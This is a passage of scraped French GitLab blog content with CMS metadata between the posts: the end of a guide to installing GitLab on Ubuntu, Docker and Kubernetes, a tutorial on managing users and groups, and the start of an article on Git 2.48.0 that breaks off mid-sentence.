https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | sudo bash`\n\n\nInstallez ensuite le paquet GitLab, configurez votre DNS puis remplacez https://gitlab.example.com/ par l’URL à laquelle vous voulez accéder à votre instance GitLab. Pour les URL avec le protocole « https:// », GitLab vous demande automatiquement un certificat Let's Encrypt. Vous pouvez également utiliser votre propre certificat ou le protocole « http:// ». Ensuite, choisissez entre un mot de passe personnalisé ou généré aléatoirement.\n\n\n`sudo EXTERNAL_URL=\"https://gitlab.example.com\" apt-get install gitlab-ee`\n\n\n`# List available versions: apt-cache madison gitlab-ee`\n\n\n`# Specifiy version: sudo EXTERNAL_URL=\"https://gitlab.example.com\" apt-get install gitlab-ee=16.2.3-ee.0`\n\n\n`# Pin the version to limit auto-updates: sudo apt-mark hold gitlab-ee`\n\n\n`# Show what packages are held back: sudo apt-mark showhold`\n\n\n4. __Accédez au nom d'hôte__\n\n\nSi vous optez pour un mot de passe généré aléatoirement, ce dernier sera stocké dans « /etc/gitlab/initial_root_password » pendant 24 heures. Pour vous connecter, utilisez ce mot de passe avec le nom d'utilisateur « root ».\n\n\n5. __Choisissez vos préférences de communication__\n\n\nVous pouvez décider pour quelles raisons et à quelle fréquence vous recevrez des nouvelles de GitLab. Inscrivez-vous à la newsletter dédiée à la sécurité pour être informés des alertes.\n\n\nRetrouvez en détail l'[installation de GitLab sur Ubuntu](https://about.gitlab.com/fr-fr/install/#ubuntu \"Installation de GitLab sur Ubuntu\"), ainsi que les étapes additionnelles recommandées pour [finaliser votre installation](https://docs.gitlab.com/ee/install/next_steps.html).\n\n\n### Installation de GitLab sur Docker\n\n\nPour [installer GitLab sur Docker](https://docs.gitlab.com/ee/install/docker/installation.html \"Installer GitLab sur Docker\"), assurez-vous d’avoir une installation Docker fonctionnelle (autre que Docker pour Windows), un agent de transfert de courrier (tel que Postfix ou Sendmail), ainsi qu’un nom d'hôte valide et accessible de l'extérieur (différent de `locahost`).\n\n\n__Instructions relatives à l'installation de GitLab sur Docker :__\n\n\n1. __Configurez le port SSH__\n\n\nGitLab utilise par défaut le port 22 pour interagir avec Git. Pour utiliser un autre port SSH, référez-vous à [notre documentation](https://docs.gitlab.com/ee/install/docker/installation.html#configure-the-ssh-port).\n\n\n2. __Créez un répertoire pour les volumes__\n\n\nCréez un répertoire `sudo mkdir -p /srv/gitlab` pour les fichiers de configuration, les journaux et les fichiers de données. Ce répertoire peut se trouver dans le répertoire personnel de l'utilisateur (par exemple `~/gitlab-docker`), ou dans un répertoire comme `/srv/gitlab`. Si vous exécutez Docker avec un utilisateur autre que `root`, accordez les permissions appropriées à l'utilisateur pour le nouveau répertoire.\n\n\nConfigurez ensuite une nouvelle variable d'environnement `$GITLAB_HOME` qui définit le chemin vers le répertoire que vous avez créé : `export GITLAB_HOME=/srv/gitlab`.\n\n\n3. __Trouvez la version et l'édition de GitLab à utiliser__\n\n\nRattachez votre déploiement à une version spécifique de GitLab. Passez en revue les versions disponibles et choisissez celle que vous souhaitez utiliser dans la page des balises Docker : [GitLab Enterprise Edition](https://hub.docker.com/r/gitlab/gitlab-ee/tags/ \"GitLab Enterprise Edition\") ou [GitLab Community Edition](https://hub.docker.com/r/gitlab/gitlab-ce/tags/ \"GitLab Community Edition\").\n\n\n4. __Choisissez une méthode d'installation__\n\n\nPour installer GitLab sur Docker, trois options s’offrent à vous : Docker Compose, Docker Engine ou Docker Swarm mode. Dans le cadre de cet article, nous allons nous intéresser uniquement à Docker Compose qui est la méthode d’installation recommandée.\n\n\n[Installez Docker Compose](https://docs.docker.com/compose/install/linux/ \"Installation de Docker Compose\"), puis créez un fichier `docker-compose.yml`. Par exemple :\n\n\n```\n\nversion: '3.6'\n\nservices:\n  gitlab:\n    image: gitlab/gitlab-ee:\u003Cversion>-ee.0\n    container_name: gitlab\n    restart: always\n    hostname: 'gitlab.example.com'\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        # Add any other gitlab.rb configuration here, each on its own line\n        external_url 'https://gitlab.example.com'\n    ports:\n      - '80:80'\n      - '443:443'\n      - '22:22'\n    volumes:\n      - '$GITLAB_HOME/config:/etc/gitlab'\n      - '$GITLAB_HOME/logs:/var/log/gitlab'\n      - '$GITLAB_HOME/data:/var/opt/gitlab'\n    shm_size: '256m'\n```\n\n\nVoici un autre exemple de fichier `docker-compose.yml` avec GitLab fonctionnant sur des ports HTTP et SSH personnalisés. Notez que les variables `GITLAB_OMNIBUS_CONFIG` correspondent à la section `ports` :\n\n\n```\n\nversion: '3.6'\n\nservices:\n  gitlab:\n    image: gitlab/gitlab-ee:\u003Cversion>-ee.0\n    container_name: gitlab\n    restart: always\n    hostname: 'gitlab.example.com'\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        external_url 'http://gitlab.example.com:8929'\n        gitlab_rails['gitlab_shell_ssh_port'] = 2424\n    ports:\n      - '8929:8929'\n      - '443:443'\n      - '2424:22'\n    volumes:\n      - '$GITLAB_HOME/config:/etc/gitlab'\n      - '$GITLAB_HOME/logs:/var/log/gitlab'\n      - '$GITLAB_HOME/data:/var/opt/gitlab'\n    shm_size: '256m'\n```\n\n\nCette configuration est équivalente à l'utilisation de `--publish 8929:8929 --publish 2424:22`.\n\nEnfin, dans le même répertoire que `docker-compose.yml`, démarrez GitLab :\n\n\n```\n\ndocker compose up -d\n\n```\n\n\nReportez-vous à la [documentation d'installation de Docker ](https://docs.gitlab.com/ee/install/docker/installation.html \"Documentation d'installation de Docker \")pour en savoir plus sur Docker Compose, Docker Engine et Docker Swarm mode.\n\n\n### Installation de GitLab sur Kubernetes\n\n\nVous pouvez déployer certains composants dans [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ? \"), avec une architecture de référence Cloud Native Hybrid. Pour des raisons de stabilité en production, il n’est pas recommandé de déployer les composants stateful, tels que Gitaly, dans Kubernetes.\n\n\nCloud Native Hybrid est une alternative et une configuration plus avancée par rapport à une architecture de référence standard. L'exécution de services dans Kubernetes est complexe. N'utilisez cette configuration que si vous avez de solides connaissances et une solide expérience de Kubernetes. Vous retrouverez dans la documentation les instructions pour installer GitLab suivant la configuration [Cloud Native Hybrid](https://docs.gitlab.com/ee/administration/reference_architectures/#cloud-native-hybrid \"Cloud Native Hybrid\").\n\n\nGitLab propose également une méthode d'intégration via le [chart Helm GitLab](https://docs.gitlab.com/charts/ \"Chart Helm GitLab\"). Pour les installations basées sur OpenShift, optez pour l'[opérateur GitLab](https://docs.gitlab.com/operator/installation.html \"Opérateur GitLab\"). Les valeurs par défaut du chart Helm GitLab et de l'opérateur GitLab ne sont pas recommandées pour une utilisation en production. Avec ces valeurs, une instance GitLab est créée où tous les services, y compris les données persistantes, sont déployés dans un cluster Kubernetes. Pour plus d'informations sur ces limitations, [consultez notre documentation](https://docs.gitlab.com/ee/administration/reference_architectures/#stateful-components-in-kubernetes). Pour une utilisation en production, il est recommandé de se baser sur l’architecture de référence Cloud Native Hybrid.\n\n\nNotre tutoriel touche à sa fin ! Pour connaître toutes les méthodes d’installation de GitLab Self-Managed, consultez notre [page d’installation](https://about.gitlab.com/fr-fr/install/ \"Installation GitLab Self-Managed\").\n\n\n#### Ressources utiles\n\n\n- [Architectures de référence de GitLab](https://docs.gitlab.com/ee/administration/reference_architectures/#available-reference-architectures \"Architectures de référence de GitLab\")\n\n- [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit \"GitLab Environment Toolkit\")\n\n\n## FAQ sur l'installation de GitLab\n\n\n### Sur quel système d'exploitation Linux peut-on installer GitLab ?\n\n\nGitLab est disponible sur les environnements Linux suivants : Ubuntu, Debian, AlmaLinux, CentOS 7, OpenSUSE Leap, Amazon Linux, et Raspberry Pi. Le paquet Debian natif et le paquet Arch Linux sont des méthodes d'installation alternatives pour GitLab, mais elles ne sont pas officielles et ne sont pas prises en charge.\n\n\n### Comment mettre à jour GitLab ?\n\n\nConsultez la [page de mise à jour de GitLab](https://about.gitlab.com/fr-fr/update/ \"Mettre à jour GitLab\") pour utiliser notre dernière version. Un tutoriel GitLab est disponible pour les différents systèmes d'exploitation, tels que Linux, Kubernetes et Docker. La page donne accès à de nombreuses ressources, documentations officielles de maintenance et instructions pour une mise à niveau sur une version plus puissante.\n\n\n### Comment résoudre un problème d'installation de GitLab ?\n\n\nEn cas de question ou de difficulté pour installer GitLab, vous pouvez trouver de l'aide en consultant notre [documentation](https://docs.gitlab.com/ \"Documentation de GitLab\"), nos [ressources communautaires](https://about.gitlab.com/community/ \"Communauté de GitLab\"), notre [forum](https://forum.gitlab.com/ \"Forum de GitLab\") et notre [blog](https://about.gitlab.com/fr-fr/blog/ \"Blog de GitLab\"). Pour des conseils personnalisés sur votre projet, [contactez un expert GitLab](https://about.gitlab.com/fr-fr/sales/ \"Contacter un expert GitLab\").\n",[1067,1069],{"slug":1891,"featured":6,"template":683},"how-to-install-gitlab-beginners-guide","content:fr-fr:blog:how-to-install-gitlab-beginners-guide.yml","How To Install Gitlab Beginners Guide","fr-fr/blog/how-to-install-gitlab-beginners-guide.yml","fr-fr/blog/how-to-install-gitlab-beginners-guide",{"_path":1897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1898,"content":1904,"config":1910,"_id":1912,"_type":16,"title":1913,"_source":17,"_file":1914,"_stem":1915,"_extension":20},"/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users",{"title":1899,"description":1900,"ogTitle":1899,"ogDescription":1900,"noIndex":6,"ogImage":1901,"ogUrl":1902,"ogSiteName":841,"ogType":842,"canonicalUrls":1902,"schema":1903},"Premiers pas avec GitLab : comment gérer les utilisateurs","Découvrez comment gérer les utilisateurs dans GitLab et apprenez comment configurer une collaboration sécurisée.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097273/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097273817.png","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Premiers pas avec GitLab : comment gérer les utilisateurs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-14\",\n      }\n                  ",{"title":1899,"description":1900,"authors":1905,"heroImage":1901,"date":1906,"body":1907,"category":676,"tags":1908,"updatedDate":1909},[1848],"2025-01-14","*Bienvenue dans notre nouvelle série d'articles de blog baptisée « Premiers pas avec GitLab », dans laquelle nous aidons les nouveaux utilisateurs à se familiariser avec la plateforme DevSecOps de GitLab.*\n\nAssurer un environnement sécurisé, conforme et collaboratif commence par la tâche la plus élémentaire : la __gestion des utilisateurs__. Dans ce tutoriel, nous vous expliquons comment ajouter des membres à votre projet, attribuer des rôles et des autorisations, et créer des groupes ainsi que des sous-groupes.\n\nRemarque : pour suivre ce tutoriel, vous devez disposer d'un compte GitLab sur GitLab.com ou l'instance GitLab Self-Managed de votre entreprise. Si vous avez besoin d'aide, consultez nos sessions d'apprentissage dédiées aux fondamentaux sur [GitLab University](https://university.gitlab.com/).\n\nEntrons maintenant dans le vif du sujet.\n\nLorsque vous créez des utilisateurs sur GitLab, ces derniers n'ont accès qu'à [leurs projets privés, aux projets publics et à ceux définis avec une visibilité interne](https://docs.gitlab.com/ee/user/public_access.html). Dans le cadre de ce tutoriel, imaginons que vous gérez un projet hautement confidentiel où seuls les membres invités doivent y avoir accès, avec différents paramètres d'autorisation. Pour cela, vous pouvez inviter des utilisateurs en tant que [membres du projet](https://docs.gitlab.com/ee/user/project/members/).\n\n## Inviter les utilisateurs à rejoindre un projet\n\n![Écran des membres du projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097278487.png)\n\nLes utilisateurs de GitLab peuvent être invités à rejoindre un projet et [se voir attribuer un rôle](https://docs.gitlab.com/ee/user/permissions.html), qui détermine leurs droits en termes de contributions. Le propriétaire d'un projet peut confier certaines tâches administratives à d'autres utilisateurs en leur attribuant le rôle de chargé de maintenance. Ces derniers bénéficient de presque tous les privilèges du propriétaire, à l'exception de la possibilité d'apporter des modifications au projet, telles que sa suppression, son archivage ou son transfert.\n\n![Écran d'invitation des membres](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097278487.png)\n\nLes [chargés de maintenance](https://docs.gitlab.com/ee/user/permissions.html#roles) peuvent ainsi inviter d'autres membres en tant que développeurs. Ces derniers ont accès à toutes les fonctionnalités requises pour créer, compiler et déployer des logiciels. Les utilisateurs qui ne sont pas des développeurs, mais qui ont besoin d'un accès à la gestion de projet peuvent être invités en tant que [planificateurs](https://about.gitlab.com/fr-fr/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/), rapporteurs ou invités, avec différents niveaux d'accès. Ces rôles peuvent également servir à déterminer qui est autorisé à apporter des modifications à certaines branches par le biais des [branches protégées](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html).\n\nSi vous travaillez avec des sous-traitants ou si votre utilisation nécessite que les autorisations des utilisateurs expirent, vous pouvez définir une date d'expiration après laquelle l'utilisateur perd l'accès au projet. Les membres du projet peuvent également être identifiés comme membres directs ou indirects, en fonction de leur [type d'attribution des droits d'accès](https://docs.gitlab.com/ee/user/project/members/#membership-types). Les membres directs sont ajoutés directement au projet, tandis que les membres indirects sont souvent hérités d'un [groupe GitLab](https://docs.gitlab.com/ee/user/group/) auquel appartient le projet.\n\nPassons maintenant aux attributions des droits d'accès au groupe.\n\n## Attribuer des droits d'accès au groupe\n\nDans GitLab, un groupe peut être un groupe principal créé à la racine d'une instance GitLab. C'est le cas de [gitlab.com/gitlab-org](http://gitlab.com/gitlab-org), un groupe parent utilisé pour organiser d'autres sous-groupes comme [gitlab.com/gitlab-org/charts](http://gitlab.com/gitlab-org/charts). Les groupes sont utiles même si vous n'avez qu'un seul projet.\n\nIls peuvent servir à :\n\n- organiser des projets similaires ou connexes\n- regrouper les utilisateurs en groupes pour mieux coordonner les équipes\n\nLorsque vous structurez votre projet à l'aide de groupes, vous pouvez assigner des équipes à des groupes spécifiques et [inviter un groupe à participer à un projet](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html) avec un rôle défini pour l’ensemble de l’équipe. Par exemple, vous pouvez créer un groupe `dev` pour les développeurs et développeuses de l'équipe, un groupe `pm` pour les chefs de projet et un groupe `leads` pour les responsables d'équipe. Lorsqu'une invitation est envoyée pour rejoindre ces groupes, les membres du groupe `dev` peuvent se voir attribuer le rôle de développeur, `pm` le rôle de planificateur et `leads` le rôle de chargé de maintenance.\n\n![Écran Inviter un groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097279/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097278488.png)\n\nLes membres de chaque groupe peuvent être ajoutés ou supprimés sans avoir à mettre à jour les autorisations du projet. Cette fonctionnalité est particulièrement utile lorsque votre équipe compte plusieurs projets. [Consultez nos bonnes pratiques](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html#setting-up-a-group-for-collaboration) pour utiliser les groupes à des fins collaboratives.\n\nUn autre avantage d'organiser les utilisateurs en groupes est la possibilité de [mentionner](https://docs.gitlab.com/ee/user/discussions/#mentions) l'ensemble du groupe dans les tickets, les merge requests ou les commentaires, ce qui facilite la communication au sein de l'équipe.\n\n### Comment créer des sous-groupes ?\n\nLes [sous-groupes](https://docs.gitlab.com/ee/user/group/subgroups/) permettent de mieux organiser les utilisateurs au sein d'un groupe. Vous pouvez ajouter des sous-groupes jusqu'à 20 niveaux imbriqués. Les utilisateurs d'un sous-groupe héritent des autorisations de leur groupe parent. Si vous souhaitez attribuer à un utilisateur d'un sous-groupe un rôle supérieur à celui dont il a hérité, vous devrez l'[inviter directement dans le sous-groupe](https://docs.gitlab.com/ee/user/group/subgroups/#override-ancestor-group-membership) et lui attribuer le nouveau niveau d'accès supérieur. Notez que, dans le sous-groupe, il n'est pas possible d'assigner à l'utilisateur un rôle inférieur à celui hérité du groupe parent.\n\n### Comment gérer les groupes ?\n\nEn tant que propriétaire du groupe, vous disposez de plusieurs options pour gérer le fonctionnement des utilisateurs au sein d'un groupe. Par exemple, vous pouvez définir les conditions d'accès à un groupe, activer ou désactiver les [mentions de groupe](https://docs.gitlab.com/ee/user/group/manage.html#disable-group-mentions), [restreindre l'accès](https://docs.gitlab.com/ee/user/group/manage.html#turn-on-restricted-access) ou [modérer les utilisateurs](https://docs.gitlab.com/ee/user/group/moderate_users.html). Une nouvelle fonctionnalité intéressante, encore en cours de développement au moment de la publication de cet article, est la [suppression automatique des utilisateurs inactifs](https://docs.gitlab.com/ee/user/group/moderate_users.html#automatically-remove-dormant-members) dans un délai compris entre 90 jours et 5 ans. Cette nouveauté aidera à maintenir les groupes à jour et à mieux gérer l'attribution des sièges associés à la licence. \n\n## Lancez-vous sur GitLab dès aujourd’hui !\n\nLa gestion des utilisateurs sur GitLab varie en fonction de vos besoins. Si votre entreprise atteint un stade de développement plus important, que vos workflows sont complexes et que vous avez recours à une gestion des utilisateurs plus avancée, GitLab offre des outils efficaces pour [gérer les utilisateurs Enterprise](https://docs.gitlab.com/ee/user/enterprise_user/index.html). Avec [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/), vous bénéficiez de fonctionnalités supplémentaires pour [gérer votre entreprise](https://docs.gitlab.com/ee/topics/set_up_organization.html), notamment une plus grande granularité et des options de conformité renforcées.\n\n> ##### Vous souhaitez approfondir vos connaissances ? [Inscrivez-vous à GitLab University](https://university.gitlab.com/). Vous pouvez également vous lancer immédiatement avec [un essai gratuit de GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F).",[1067,675,1069,1482,676],"2025-01-21",{"slug":1911,"featured":92,"template":683},"getting-started-with-gitlab-how-to-manage-users","content:fr-fr:blog:getting-started-with-gitlab-how-to-manage-users.yml","Getting Started With Gitlab How To Manage Users","fr-fr/blog/getting-started-with-gitlab-how-to-manage-users.yml","fr-fr/blog/getting-started-with-gitlab-how-to-manage-users",{"_path":1917,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1918,"content":1924,"config":1931,"_id":1933,"_type":16,"title":1934,"_source":17,"_file":1935,"_stem":1936,"_extension":20},"/fr-fr/blog/whats-new-in-git-2-48-0",{"title":1919,"description":1920,"ogTitle":1919,"ogDescription":1920,"noIndex":6,"ogImage":1921,"ogUrl":1922,"ogSiteName":841,"ogType":842,"canonicalUrls":1922,"schema":1923},"Nouveautés de Git 2.48.0","Découvrez la dernière version de Git, y compris un nouveau système de compilation ainsi que des optimisations dans le nouveau backend « reftable ».","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663691/Blog/Hero%20Images/AdobeStock_752438815.jpg","https://about.gitlab.com/blog/whats-new-in-git-2-48-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouveautés de Git 2.48.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2025-01-10\",\n      }",{"title":1919,"description":1920,"authors":1925,"heroImage":1921,"date":1927,"body":1928,"category":928,"tags":1929,"updatedDate":1930},[1926],"Christian Couder","2025-01-10","Le projet Git a récemment publié la [version 2.48.0 de Git](https://lore.kernel.org/git/xmqqplku7cvm.fsf@gitster.g/). Jetons un coup d'œil aux points forts de cette nouvelle version, comprenant des contributions de l'équipe Git de GitLab et de la communauté Git au sens large.\n\n## Système de compilation Meson\n\nPendant longtemps, [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") pouvait être compilé en utilisant un système de compilation basé sur des [Makefile](https://fr.wikipedia.org/wiki/Make) ou sur [Autoconf](https://fr.wikipedia.org/wiki/Autoconf). Les équipes de développement Git utilisaient principalement le système de compilation basé sur des Makefile.\n[Le système de compilation basé sur Autoconf a donc pris du retard](https://lore.kernel.org/git/GV1PR02MB848925A79A9DD733848182D58D662@GV1PR02MB8489.eurprd02.prod.outlook.com/) en termes de fonctionnalités et de maintenance. Autre problème : de nombreux développeurs Windows utilisaient des environnements de développement intégrés (IDE) qui ne\nprenaient pas correctement en charge les systèmes de compilation basés sur des Makefile et Autoconf.\n\nDepuis 2020, il est possible de compiler Git à l'aide de [CMake](https://cmake.org/). CMake a permis une meilleure prise en charge de Windows et une meilleure intégration avec les IDE, en particulier Visual Studio. Il a également apporté certaines fonctionnalités des systèmes de compilation modernes, telles que les compilations hors source.\n\nRécemment, il est apparu que la prise en charge de CMake était également à la traîne\net que cette option pourrait ne jamais remplacer les deux autres\nsystèmes de compilation de manière satisfaisante. C'est pourquoi [Patrick Steinhardt](https://gitlab.com/pks-gitlab), Git Engineering Manager chez GitLab, a mis en œuvre la prise en charge du système de compilation [Meson](https://mesonbuild.com/)\ndans le but de remplacer à terme les systèmes de compilation basés sur Autoconf, CMake et peut-être même les Makefile.\n\nLe nouveau système de compilation basé sur Meson présente les avantages suivants :\n* Il permet aux utilisateurs de trouver facilement les options de compilation disponibles, ce qui est difficile avec les Makefile et CMake.\n* Sa syntaxe est plus simple que celles d'Autoconf et de CMake.\n* Il prend en charge de nombreux systèmes d'exploitation, compilateurs et IDE différents.\n* Il prend en charge les fonctionnalités des systèmes de compilation modernes, telles que les compilations hors source.\n\nVoici un exemple qui montre comment l'utiliser pour compiler Git :\n\n```shell\n$ cd git             \t# go into the root of Git's source code\n$ meson setup build/ \t# setup \"build\" as a build directory\n$ cd build           \t# go into the \"build\" directory\n$ meson compile      \t# actually build Git\n$ meson test         \t# test the new build\n$ meson install      \t# install the new build\n\n```\n\nPlusieurs répertoires de compilation peuvent être configurés à l'aide de `meson setup \u003Cbuild_dir>`. La configuration de la compilation dans un répertoire de compilation peut être affichée ou modifiée en exécutant `meson configure` à l'intérieur de ce répertoire.\n\nVous trouverez plus d'informations sur la façon de compiler Git à l'aide de Meson en haut du [fichier `meson.build`](https://gitlab.com/gitlab-org/git/-/blob/master/meson.build) dans le dépôt de code Git. Une\n[comparaison des différents systèmes de compilation](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/technical/build-systems.txt) pour Git est disponible dans la documentation technique de Git.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Git est maintenant exempt de fuites de mémoire (tel que vérifié par la suite de tests)\n\nDans notre article présentant la version Git 2.47.0 précédente, nous\navons évoqué nos [efforts constants pour corriger toutes les fuites de mémoire](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-47-0/#r%C3%A9usinage-du-code-et-am%C3%A9lioration-de-la-maintenabilit%C3%A9) mises en évidence par les tests existants dans le projet. Comme nous l'avons souligné, avant la version 2.47.0 de Git, le projet comptait 223 fichiers de test contenant des fuites de mémoire.\nCe nombre avait été réduit à seulement 60.\n\nNous avons le plaisir d'annoncer que les fuites de mémoire dans ces 60 fichiers de test restants ont été résolues. En conséquence, Git, tel qu'il est vérifié par la suite de tests, est désormais exempt de fuites de mémoire. Il s'agit d'une étape importante menant vers notre objectif de longue date de partitionner les composants internes de Git en une bibliothèque de composants. Cette amélioration aidera également à optimiser l'utilisation de la mémoire avec Git.\n\nTout test nouvellement ajouté doit désormais être exempt de fuites de mémoire par défaut. Il demeure possible d'exécuter des tests contenant des fuites de mémoire, mais les auteurs devront demander une exception pour cela et justifier pourquoi leur test ne peut pas être exempt de fuites de mémoire.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Amélioration des vérifications du bundle URI\n\nDans notre article présentant la version 2.46.0 de Git, nous avons mentionné\ncertaines [corrections du bundle URI](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/#correction-du-bundle-uri)\napportées par [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/).\nUne fois ces corrections implémentées, le travail de Xing Xin a rendu possible la [vérification complète des récupérations à l'aide de bundles](https://lore.kernel.org/git/pull.1730.v8.git.1718770053.gitgitgadget@gmail.com/)\nen utilisant le mécanisme [fsck](https://git-scm.com/docs/git-fsck/fr) comme s'il s'agissait de récupérations standard.\n\nLors de la validation des récupérations standard, il est possible de spécifier\n[différents niveaux de gravité](https://git-scm.com/docs/git-fsck/fr) pour [différents problèmes fsck](https://git-scm.com/docs/git-fsck/fr#_messages_fsck).\nLa gestion de ce qui est accepté ou rejeté dans un dépôt spécifique s'en trouve affinée. Cela n'était auparavant pas possible pour les récupérations à l'aide de bundles.\n\nPour renforcer encore l'utilité et la sécurité du [bundle-uri](https://git-scm.com/docs/bundle-uri), nous avons [résolu ce problème](https://lore.kernel.org/git/20241121204119.1440773-1-jltobler@gmail.com/). Les différents niveaux de gravité indiqués pour différents problèmes fsck sont désormais\négalement utilisés lors de la vérification des récupérations à l'aide de bundles.\n\nCe projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).\n\n## Ajout des vérifications de cohérence des références\n\nDans notre article présentant la version 2.47.0 de Git, nous avons mentionné\nle travail de Jialuo She sur [l'ajout d'une nouvelle sous-commande « verify »](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-47-0/#nouvelle-sous-commande-pour-git-refs(1)) à git-refs(1) dans le cadre du [Google Summer of Code 2024](https://summerofcode.withgoogle.com/archive/2024/projects/ukm4PTEF) (GSoC 2024).\n\nNous avions alors déclaré que l'objectif était à terme d'intégrer cette nouvelle sous-commande à git-fsck(1) afin de fournir un moyen unifié d'exécuter les vérifications de cohérence des dépôts. Jialuo She a décidé de travailler sur ce sujet à l'issue du GSoC.\n\nLe résultat de [cet effort](https://lore.kernel.org/git/ZrtrT1CPI4YUf5db@ArchLinux/)\nest que git-fsck(1) peut maintenant détecter et gérer un certain nombre de problèmes liés aux références, par exemple, lorsque le contenu est de mauvaise qualité, lorsqu'un lien symbolique est utilisé comme référence symbolique ou lorsque la cible d'une référence symbolique ne pointe pas vers une référence valide. Il nous reste toujours à appeler `git refs verify` via git-fsck(1), et demander à la commande d'effectuer toutes les vérifications non spécifiques au backend dans le processus en cours git-fsck(1). Toutefois, nous avons progressé vers notre objectif final qui est de disposer d'un moyen unifié d'exécuter toutes les vérifications de cohérence des références.\n\nCe projet a été mené par Jialuo She.\n\n## Réutilisation des itérateurs dans les « reftables »\n\nDans la version [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt), le format « reftable » a été introduit en tant que nouveau backend pour stocker des références (principalement des branches et des tags). Si le backend « reftable » ne vous est pas encore\nfamilier, n'hésitez pas à consulter notre précédent [article de blog consacré à la version 2.45.0 de Git](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/). Nous y présentons ce nouveau format, ainsi que notre guide intitulé [Format reftable de Git : guide pour les débutants](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/).\n\nNous avons depuis continué à améliorer ce backend. Récemment, nous nous sommes concentrés sur l'amélioration de ses performances en [réutilisant certains itérateurs internes](https://lore.kernel.org/git/cover.1730732881.git.ps@pks.im/) lors de la lecture de références aléatoires. Avant ces changements, la lecture d'une seule référence nous obligeait à créer un tout nouvel itérateur, à le déplacer au bon endroit dans les tables respectives, puis à lire la valeur suivante. Cette démarche se révèle assez inefficace lors de la lecture en succession rapide de nombreuses références. Nous ne créons désormais plus qu'un seul itérateur et le réutilisons pour lire plusieurs références, ce qui permet d'alléger le travail effectué.\n\nLes performances dans un certain nombre de cas d'utilisation liés aux « reftables » sont par conséquent améliorées. Nous avons notamment mesuré une accélération de 7 % lors de la création de nombreuses références dans une transaction qui effectue de nombreuses lectures aléatoires. Notre travail ouvre de plus la porte à davantage d'optimisations, car nous pouvons continuer à réutiliser une plus grande quantité d'états conservés dans les itérateurs.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Prise en charge des reflogs dans `git-refs migrate`\n\nSuite à l'introduction du backend « reftable » dans Git 2.45.0, nous avons travaillé sur des outils pour migrer les backends de gestion des références dans Git 2.46.0. Il s'agissait d'ajouter une nouvelle sous-commande `migrate` à git-refs(1).\n\nNotre article consacré à Git 2.46.0 [décrivait cette tâche](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/#outils-pour-migrer-les-backends-de-r%C3%A9f%C3%A9rences) et mentionnait certaines limitations encore présentes. L'article soulignait notamment les points suivants :\n\n« Les reflogs dans un dépôt font partie du backend de gestion des références et nécessitent également une migration lors du changement de format. Malheureusement, l'outil n'est pas encore capable de convertir les reflogs entre les backends « fichiers » et les backends « reftable ». »\n\nNous sommes heureux d'annoncer que nous avons [levé cette limitation dans la version Git 2.48.0](https://lore.kernel.org/git/20241216-320-git-refs-migrate-reflogs-v4-0-d7cd3f197453@gmail.com/).\nLes reflogs peuvent désormais également être migrés avec `git refs migrate`. L'outil de migration n'est pas encore capable de gérer un dépôt contenant des arbres de travail séparés (« worktrees »), mais il s'agit de la dernière limitation restante. Si vous n'utilisez pas d'arbres de travail séparés (« worktrees »), vous pouvez déjà utiliser le backend « reftable » dans vos dépôts existants.\n\nCe projet a été mené par [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## Optimisation du filtre des références\n\nLe sous-système 'ref-filter' est un code de mise en forme utilisé par des commandes telles que `git for-each-ref`, `git branch` et `git tag` pour trier, filtrer, mettre en forme et afficher les informations relatives aux références Git.\n\nÀ mesure que les dépôts se développent, la quantité de références qu'ils contiennent peut devenir 